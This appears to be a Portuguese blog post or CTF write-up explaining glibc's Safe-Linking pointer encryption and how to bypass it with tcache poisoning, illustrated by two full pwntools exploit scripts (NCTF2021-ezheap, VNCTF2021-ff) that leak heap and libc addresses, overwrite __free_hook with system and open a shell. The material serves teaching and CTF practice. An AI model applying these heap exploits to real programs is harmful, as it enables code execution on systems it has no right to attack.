Evadindo o Mecanismo Safe-Linking

Introdução ao Safe-Linking

O mecanismo Safe-Linking foi introduzido nas versões 2.32 e posteriores do glibc para fortalecer a segurança do tcache. Ele criptografa o ponteiro next das listas de tcache usando uma operação XOR, dificultando ataques como o tcache poisoning.

A criptografia e descriptografia são realizadas por meio de duas macros, como mostrado abaixo:


// Criptografia: protege o ponteiro
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

// Descriptografia: revela o ponteiro original
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

Para calcular o valor criptografado, o endereço do ponteiro é deslocado 12 bits à direita e depois feito XOR com o valor original. A descriptografia segue o mesmo processo, garantindo que o ponteiro seja restaurado.

Exemplo de Exploração: NCTF2021-ezheap

Análise do Programa

O desafio apresenta um menu com operações de alocação, edição, liberação e exibição de chunks. A vulnerabilidade identificada é um UAF (Use-After-Free), onde a função de liberração apenas zera o marcador de tamanho, mas mantém o ponteiro ativo.

Essa falha permite um double free: ao liberar um chunk e realocá-lo, um segundo liberação no mesmo índice libera o chunk realocado, que ainda possui seu tamanho não nulo.

Exploração Passo a Passo

  1. Vazar endereços de heap e libc usando a função de exibição com UAF.
  2. Calcular o valor criptografado de __free_hook: valor_cripto = (endereço_ponteiro >> 12) ^ __free_hook.
  3. Executar tcache poisoning para substituir um ponteiro next por __free_hook.

Código de Exploração (Python)


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./b')
elf = ELF('./b')
libc = ELF('./libc.so.6')

def alocar(tamanho, conteudo):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Size: ", str(tamanho))
    p.sendlineafter("Content: ", conteudo)

def editar(indice, conteudo):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("Index: ", str(indice))
    p.sendlineafter("Content: ", conteudo)

def liberar(indice):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("Index: ", str(indice))

def exibir(indice):
    p.sendlineafter(">> ", "4")
    p.sendlineafter("Index: ", str(indice))

# Etapa 1: Vazar heap
alocar(0x70, b'a')  # chunk 0
alocar(0x70, b'b')  # chunk 1
liberar(0)
exibir(0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
base_heap = heap_leak << 12
log.success(f"Base da heap: {hex(base_heap)}")

# Etapa 2: Preparar para vazar libc
alocar(0x70, b'c')  # chunk 2 (realoca chunk 0)
liberar(1)
liberar(0)

for i in range(3, 13):  # chunks 3 a 11
    alocar(0x80, b'd')

for i in range(3, 12):  # liberar chunks 3 a 10
    liberar(i)

exibir(10)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
base_libc = libc_leak - 0x1e3c00
log.success(f"Base da libc: {hex(base_libc)}")

# Etapa 3: Configurar e atacar
alvo_hook = base_libc + libc.symbols['__free_hook']
valor_cripto = (base_heap >> 12) ^ alvo_hook
editar(2, p64(valor_cripto))

alocar(0x70, b'/bin/sh\x00')  # chunk 12
alocar(0x70, p64(base_libc + libc.symbols['system']))  # chunk 13

liberar(12)  # Dispara system('/bin/sh')
p.interactive()

Exemplo de Exploração: VNCTF2021-ff

Análise do Programa

O desafio posui funcionalidades limitadas: a exibição pode ser usada apenas uma vez, e a edição duas vezes. Além disso, as operações só afetam o chunk mais recente. A vulnerabilidade é um UAF similar.

A exploração envolve múltiplos estágios de tcache poisoning para vazar libc e sobrescrever __free_hook.

Estratégia de Exploração

  • Vazamento de heap: Usar a função de exibição uma vez para obter o endereço base da heap.
  • Vazamento de libc: Realizar um ataque de I/O leak manipulando a estrutura stdout. Isso requer editar ponteiros para redirecionar a saída padrão.
  • Tcache poisoning: Em três etapas:
    1. Liberar a estrutura pthread_tcache_struct no unsorted bin, ajustando contagens.
    2. Modificar ponteiros para acessar endereços libc e atacar stdout.
    3. Substituir __free_hook por system.

Código de Exploração (Python)


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def alocar(tamanho, conteudo):
    p.sendlineafter(">>", "1")
    p.sendlineafter("Size:\n", str(tamanho))
    p.sendafter("Content:\n", conteudo)

def editar(conteudo):
    p.sendlineafter(">>", "5")
    p.sendlineafter("Content:\n", conteudo)

def liberar():
    p.sendlineafter(">>", "2")

def exibir():
    p.sendlineafter(">>", "3")

# Etapa 1: Vazar heap
alocar(0x70, b'x')
liberar()
exibir()
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
base_heap = heap_leak << 12
log.success(f"Base da heap: {hex(base_heap)}")

# Etapa 2: Preparar para I/O leak
editar(b'y' * 0x10)
liberar()
valor_cripto = (base_heap >> 12) ^ (base_heap + 0x10)
editar(p64(valor_cripto))
alocar(0x70, b'a')

# Etapa 3: Manipular pthread_tcache_struct
alocar(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')
liberar()  # Libera pthread_tcache_struct no unsorted bin

# Etapa 4: Configurar tcache para I/O leak
alocar(0x40, b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00' + b'\x00' * 0x38)
alocar(0x30, b'\x00' * 0x18 + p64(0xdeadbeef))

# Etapa 5: Atacar stdout
alocar(0x10, b'\x00' * 8 + b'\xc0\x16')
alocar(0x40, p64(0xfbad1887) + p64(0) * 3 + b'\x00')
libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base_libc = libc_leak - 0x1e4744
log.success(f"Base da libc: {hex(base_libc)}")

# Etapa 6: Sobrescrever __free_hook
alvo_hook = base_libc + libc.symbols['__free_hook']
alocar(0x10, p64(alvo_hook))
alocar(0x70, p64(base_libc + libc.symbols['system']))
alocar(0x10, b'/bin/sh\x00')
liberar()
p.interactive()

Tags: Safe-Linking tcache poisoning heap exploitation glibc UAF

Publicado em 7-25 12:04